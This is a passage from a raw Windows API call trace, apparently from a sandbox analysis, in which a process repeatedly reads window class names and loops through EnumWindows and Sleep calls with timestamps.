GetClassNameA (in: hWnd=0x103a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x103a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.960] GetClassNameA (in: hWnd=0x10398, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x10396, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x10394, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x10392, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x10390, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x10386, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x10384, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.961] GetClassNameA (in: hWnd=0x10382, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x10380, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x10360, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x10358, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x10344, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x10338, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x1032e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.962] GetClassNameA (in: hWnd=0x1032a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x10322, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x1031a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x10318, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x10314, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x10306, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x102fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x102fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x102ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x102de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.963] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x102c2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x102b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x10294, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x10292, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x10290, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x1028e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x1028a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.964] GetClassNameA (in: hWnd=0x10288, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10286, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10284, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x1027c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10274, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x1026e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10266, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10260, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10258, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10252, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x10244, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.965] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.966] GetClassNameA (in: hWnd=0x10222, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.966] GetClassNameA (in: hWnd=0x4014e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.966] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.966] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0270.967] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x401e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x6033c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x20040, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] GetClassNameA (in: hWnd=0x10070, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0270.967] Sleep (dwMilliseconds=0x64) [0271.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.006] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0271.006] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0271.006] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0271.006] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0271.006] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0271.007] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0271.007] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0271.007] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0271.007] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0271.008] Sleep (dwMilliseconds=0x64) [0271.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.078] Sleep (dwMilliseconds=0x64) [0271.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.083] Sleep (dwMilliseconds=0x64) [0271.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.085] Sleep (dwMilliseconds=0x64) [0271.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.087] Sleep (dwMilliseconds=0x64) [0271.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.088] Sleep (dwMilliseconds=0x64) [0271.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.090] Sleep (dwMilliseconds=0x64) [0271.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.091] Sleep (dwMilliseconds=0x64) [0271.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.093] Sleep (dwMilliseconds=0x64) [0271.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.094] Sleep (dwMilliseconds=0x64) [0271.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.096] Sleep (dwMilliseconds=0x64) [0271.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.097] Sleep (dwMilliseconds=0x64) [0271.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.099] Sleep (dwMilliseconds=0x64) [0271.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.100] Sleep (dwMilliseconds=0x64) [0271.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.102] Sleep (dwMilliseconds=0x64) [0271.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.105] Sleep (dwMilliseconds=0x64) [0271.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.107] Sleep (dwMilliseconds=0x64) [0271.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.216] Sleep (dwMilliseconds=0x64) [0271.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.218] Sleep (dwMilliseconds=0x64) [0271.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.220] Sleep (dwMilliseconds=0x64) [0271.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.222] Sleep (dwMilliseconds=0x64) [0271.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.223] Sleep (dwMilliseconds=0x64) [0271.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.225] Sleep (dwMilliseconds=0x64) [0271.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.229] Sleep (dwMilliseconds=0x64) [0271.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.231] Sleep (dwMilliseconds=0x64) [0271.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.233] Sleep (dwMilliseconds=0x64) [0271.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.235] Sleep (dwMilliseconds=0x64) [0271.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.236] Sleep (dwMilliseconds=0x64) [0271.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.238] Sleep (dwMilliseconds=0x64) [0271.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.239] Sleep (dwMilliseconds=0x64) [0271.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.241] Sleep (dwMilliseconds=0x64) [0271.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.242] Sleep (dwMilliseconds=0x64) [0271.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.244] Sleep (dwMilliseconds=0x64) [0271.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.245] Sleep (dwMilliseconds=0x64) [0271.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.305] Sleep (dwMilliseconds=0x64) [0271.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.311] Sleep (dwMilliseconds=0x64) [0271.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.387] Sleep (dwMilliseconds=0x64) [0271.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.388] Sleep (dwMilliseconds=0x64) [0271.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.391] Sleep (dwMilliseconds=0x64) [0271.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.393] Sleep (dwMilliseconds=0x64) [0271.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.395] Sleep (dwMilliseconds=0x64) [0271.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.410] Sleep (dwMilliseconds=0x64) [0271.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.426] Sleep (dwMilliseconds=0x64) [0271.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.536] Sleep (dwMilliseconds=0x64) [0271.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.546] Sleep (dwMilliseconds=0x64) [0271.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.548] Sleep (dwMilliseconds=0x64) [0271.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.550] Sleep (dwMilliseconds=0x64) [0271.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.552] Sleep (dwMilliseconds=0x64) [0271.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.554] Sleep (dwMilliseconds=0x64) [0271.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.556] Sleep (dwMilliseconds=0x64) [0271.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.560] Sleep (dwMilliseconds=0x64) [0271.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.567] Sleep (dwMilliseconds=0x64) [0271.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.758] Sleep (dwMilliseconds=0x64) [0271.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.761] Sleep (dwMilliseconds=0x64) [0271.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.763] Sleep (dwMilliseconds=0x64) [0271.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.764] Sleep (dwMilliseconds=0x64) [0271.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.766] Sleep (dwMilliseconds=0x64) [0271.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.768] Sleep (dwMilliseconds=0x64) [0271.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.771] Sleep (dwMilliseconds=0x64) [0271.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.773] Sleep (dwMilliseconds=0x64) [0271.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.774] Sleep (dwMilliseconds=0x64) [0271.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.776] Sleep (dwMilliseconds=0x64) [0271.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.777] Sleep (dwMilliseconds=0x64) [0271.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.779] Sleep (dwMilliseconds=0x64) [0271.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.781] Sleep (dwMilliseconds=0x64) [0271.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.783] Sleep (dwMilliseconds=0x64) [0271.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.784] Sleep (dwMilliseconds=0x64) [0271.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.786] Sleep (dwMilliseconds=0x64) [0271.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.788] Sleep (dwMilliseconds=0x64) [0271.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0271.844] Sleep (dwMilliseconds=0x64) [0272.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.027] Sleep (dwMilliseconds=0x64) [0272.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.030] Sleep (dwMilliseconds=0x64) [0272.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.032] Sleep (dwMilliseconds=0x64) [0272.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.033] Sleep (dwMilliseconds=0x64) [0272.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.035] Sleep (dwMilliseconds=0x64) [0272.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.037] Sleep (dwMilliseconds=0x64) [0272.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.040] Sleep (dwMilliseconds=0x64) [0272.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.042] Sleep (dwMilliseconds=0x64) [0272.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.044] Sleep (dwMilliseconds=0x64) [0272.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.045] Sleep (dwMilliseconds=0x64) [0272.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.061] Sleep (dwMilliseconds=0x64) [0272.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.167] Sleep (dwMilliseconds=0x64) [0272.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.169] Sleep (dwMilliseconds=0x64) [0272.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.171] Sleep (dwMilliseconds=0x64) [0272.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.173] Sleep (dwMilliseconds=0x64) [0272.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.175] Sleep (dwMilliseconds=0x64) [0272.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.176] Sleep (dwMilliseconds=0x64) [0272.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.178] Sleep (dwMilliseconds=0x64) [0272.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.179] Sleep (dwMilliseconds=0x64) [0272.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.181] Sleep (dwMilliseconds=0x64) [0272.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.182] Sleep (dwMilliseconds=0x64) [0272.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.184] Sleep (dwMilliseconds=0x64) [0272.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.186] Sleep (dwMilliseconds=0x64) [0272.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.188] Sleep (dwMilliseconds=0x64) [0272.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.190] Sleep (dwMilliseconds=0x64) [0272.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.191] Sleep (dwMilliseconds=0x64) [0272.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.193] Sleep (dwMilliseconds=0x64) [0272.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.195] Sleep (dwMilliseconds=0x64) [0272.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.304] Sleep (dwMilliseconds=0x64) [0272.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.306] Sleep (dwMilliseconds=0x64) [0272.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.322] Sleep (dwMilliseconds=0x64) [0272.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.360] Sleep (dwMilliseconds=0x64) [0272.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.365] Sleep (dwMilliseconds=0x64) [0272.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.374] Sleep (dwMilliseconds=0x64) [0272.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.477] Sleep (dwMilliseconds=0x64) [0272.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.486] Sleep (dwMilliseconds=0x64) [0272.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.488] Sleep (dwMilliseconds=0x64) [0272.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.489] Sleep (dwMilliseconds=0x64) [0272.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.491] Sleep (dwMilliseconds=0x64) [0272.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.493] Sleep (dwMilliseconds=0x64) [0272.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.495] Sleep (dwMilliseconds=0x64) [0272.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.497] Sleep (dwMilliseconds=0x64) [0272.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.499] Sleep (dwMilliseconds=0x64) [0272.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.501] Sleep (dwMilliseconds=0x64) [0272.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.503] Sleep (dwMilliseconds=0x64) [0272.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.505] Sleep (dwMilliseconds=0x64) [0272.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.506] Sleep (dwMilliseconds=0x64) [0272.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.617] Sleep (dwMilliseconds=0x64) [0272.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.619] Sleep (dwMilliseconds=0x64) [0272.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.620] Sleep (dwMilliseconds=0x64) [0272.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.622] Sleep (dwMilliseconds=0x64) [0272.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.624] Sleep (dwMilliseconds=0x64) [0272.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.625] Sleep (dwMilliseconds=0x64) [0272.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.627] Sleep (dwMilliseconds=0x64) [0272.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.628] Sleep (dwMilliseconds=0x64) [0272.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.630] Sleep (dwMilliseconds=0x64) [0272.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.631] Sleep (dwMilliseconds=0x64) [0272.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.633] Sleep (dwMilliseconds=0x64) [0272.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.635] Sleep (dwMilliseconds=0x64) [0272.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.637] Sleep (dwMilliseconds=0x64) [0272.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.639] Sleep (dwMilliseconds=0x64) [0272.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.641] Sleep (dwMilliseconds=0x64) [0272.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.643] Sleep (dwMilliseconds=0x64) [0272.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.645] Sleep (dwMilliseconds=0x64) [0272.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.663] Sleep (dwMilliseconds=0x64) [0272.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.756] Sleep (dwMilliseconds=0x64) [0272.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.758] Sleep (dwMilliseconds=0x64) [0272.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.760] Sleep (dwMilliseconds=0x64) [0272.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.761] Sleep (dwMilliseconds=0x64) [0272.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.763] Sleep (dwMilliseconds=0x64) [0272.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.899] Sleep (dwMilliseconds=0x64) [0272.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.901] Sleep (dwMilliseconds=0x64) [0272.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.902] Sleep (dwMilliseconds=0x64) [0272.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.904] Sleep (dwMilliseconds=0x64) [0272.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.905] Sleep (dwMilliseconds=0x64) [0272.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0272.910] Sleep 